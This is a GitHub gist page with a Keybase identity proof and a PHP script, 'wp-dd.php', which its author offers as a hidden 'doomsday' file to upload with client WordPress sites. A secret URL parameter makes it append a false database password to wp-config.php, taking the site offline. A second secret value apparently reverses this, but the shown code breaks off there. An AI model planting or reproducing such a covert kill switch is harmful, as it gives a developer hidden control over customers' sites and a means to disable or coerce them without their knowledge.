Skip to content

Instantly share code, notes, and snippets.

Michael Seifarth Kageetai

Block or report user

Report or block Kageetai

Hide content and notifications from this user.

Learn more about blocking users

Contact Support about this user’s behavior.

Learn more about reporting abuse

Report abuse
View GitHub Profile
View keybase.md

Keybase proof

I hereby claim:

  • I am kageetai on github.
  • I am kageetai (https://keybase.io/kageetai) on keybase.
  • I have a public key ASBorwqR69Eef4AjJOf02OGDe9crLQgMvyDszQsg9GZijAo

To claim this, I am signing this object:

@Kageetai
Kageetai / wp-dd.php
Created Mar 16, 2016
Small doomsday file to upload with a WordPress installation, just to secure against "not so reliable customers". Just in case!
View wp-dd.php
<?php
$file = "wp-config.php";
$doomsday = "\ndefine('DB_PASSWORD', '12345');\n";
if ($_GET["p"] == "sfvosovwrs4fj04uwor420hg24rv") {
// add doomsday line to disable access to DB
file_put_contents($file, $doomsday, FILE_APPEND | LOCK_EX);
echo "dommed";
} else if ($_GET["p"] == "tzj485hwrjfg24hwrjgwf") {
// load the data and delete the line from the array
$lines = file($file);
You can’t perform that action at this time.